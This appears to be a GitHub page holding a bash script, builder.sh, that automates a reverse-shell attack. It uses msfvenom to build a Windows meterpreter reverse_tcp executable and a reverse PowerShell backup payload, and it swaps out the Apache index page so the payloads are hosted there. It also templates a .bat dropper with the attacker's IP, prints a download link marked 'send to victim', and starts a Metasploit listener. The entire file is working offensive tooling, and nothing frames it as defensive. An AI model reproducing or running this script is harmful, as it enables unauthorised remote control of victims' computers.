-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbuilder.sh
88 lines (73 loc) · 2.05 KB
/
builder.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/bin/bash
display_banner() {
echo "calling banner..."
sleep 0.5
cat logo.txt
echo ""
echo ""
}
create_payload() {
local lhost=$1
local lport=$2
local name=$3
local payload_type=$4
echo "Generating $payload_type payload..."
msfvenom -p $payload_type lhost=$lhost lport=$lport -f exe > $name.exe
if [ $? -ne 0 ]; then
echo "Error: Failed to create payload $name.exe"
exit 1
fi
}
create_backup_payload() {
local lhost=$1
local lport=$2
local backup=$3
echo "Generating backup payload..."
msfvenom -p cmd/windows/reverse_powershell lhost=$lhost lport=$lport > $backup.sh
if [ $? -ne 0 ]; then
echo "Error: Failed to create backup payload $backup.sh"
exit 1
fi
}
handle_apache() {
echo "Starting Apache server..."
sudo systemctl start apache2
sudo systemctl restart apache2.service
}
move_files() {
local name=$1
local backup=$2
mv /var/www/html/index.html /var/www/
mv $name.exe /var/www/html/
mv $backup.sh /var/www/html/
}
create_payload_batch() {
local lhost=$1
local name=$2
local backup=$3
local payload=$4
sed -e "s/\$ip/$lhost/" -e "s/\$name/$name/" -e "s/\$lhost/$lhost/" -e "s/\$backup/$backup/" requirements.txt > $payload.bat
sudo mv $payload.bat /var/www/html/
}
start_metasploit() {
local lhost=$1
local name=$2
sed -e "s/\$lhost/$lhost/" meterpreter.rc > $name.rc
msfconsole -r $name.rc
}
main() {
display_banner
read -p "Enter Port [Example: 4444]: " port
read -p "Enter the Lhost: " lhost
read -p "Enter the Payload Name: " name
read -p "Enter the Backup Payload Name: " backup
read -p "Enter One More Different Payload Name: " payload
create_payload $lhost $port $name "windows/meterpreter/reverse_tcp"
create_backup_payload $lhost $port $backup
handle_apache
move_files $name $backup
create_payload_batch $lhost $name $backup $payload
echo "Payload link (send to victim): http://$lhost/$payload.bat"
start_metasploit $lhost $name
}
main